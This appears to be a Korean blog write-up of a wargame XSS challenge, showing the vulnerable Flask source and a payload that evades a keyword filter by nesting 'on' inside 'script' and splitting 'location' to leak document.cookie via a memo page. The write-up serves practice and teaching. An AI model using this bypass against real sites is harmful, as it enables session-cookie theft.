카테고리 없음

워게임 XSS Filtering Bypass

미숫가루빙수 2023. 9. 24. 16:33

코드를 참고하여 xss의 취약점을 파악한 뒤

우회하여 플래그를 얻는 문제이다

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript:"] //script, on, javascript가 들어갈 경우 필터링되어 플래그를 얻을 수 없다
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param 


@app.route("/flag", methods=["GET", "POST"]) //flag에 대한 힌트가 나와있는 앤드포인트
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo") //이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력한다.
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

문제를 푸는데 필요한 코드

 

 

def xss_filter(text):
    _filter = ["script", "on", "javascript:"] 
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

다음 코드에서는 script, on, javascript를 필터링하고 있다

우회를 하기 위해서는 위 세개의 함수를 우회하는 방법을 써서 쿠키를 탈취해야한다

 

@app.route("/memo") 
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

메모를 변환하지 않고 그대로 리턴하고 있기 때문에

이 취약점을 이용해 플래그를 얻을 수 있다

 

 

문제 사이트를 들어갔을 때 나오는 페이지

 

memo페이지로 들어갈 경우 다음과 같이 hello가 출력된 것을 볼 수 있다

정답이 아닌 틀린 값을 입력할 시 hello가 출력된다

 

flag페이지를 방문하면 param을 입력할 수 있는 창이 있다

이 창 안에서 정답을 입력할 시에 memo페이지에서 플래그가 출력되는 걸 알 수 있다

 

flag페이지에서 정답을 입력해본다

 

 

<scronipt>document['locatio'+'n'].href+"/memo?memo"+document.cookie;</scronipt>

 

script 안에 on을 넣은 이유는 scirpt가 필터링 되어 사용을 하지 못한다

중간에 on을 삽입하게 되면 on이 필터링 되어 scr(on)ipt이 되면서

on이 사라지고 script로 문장이 이어지게 된다

 

location.href는 전체 URL을 반환하거나, URL을 업데이트하는 속성값이다

locaiton안에는 on이 있기 때문에 필터링 되어 사용하지 못한다

이것을 우회하기 위해서는 document를 이용해 locatio+n으로 on을 띄어 사용한다

 

document.cookie는 해당 페이지에서 쿠키 값을 읽어올 수 있도록한다

 

 

 

다음 값을 플래그 페이지에 입력을 하게 되면 메모 창에서 플래그를 얻을 수 있다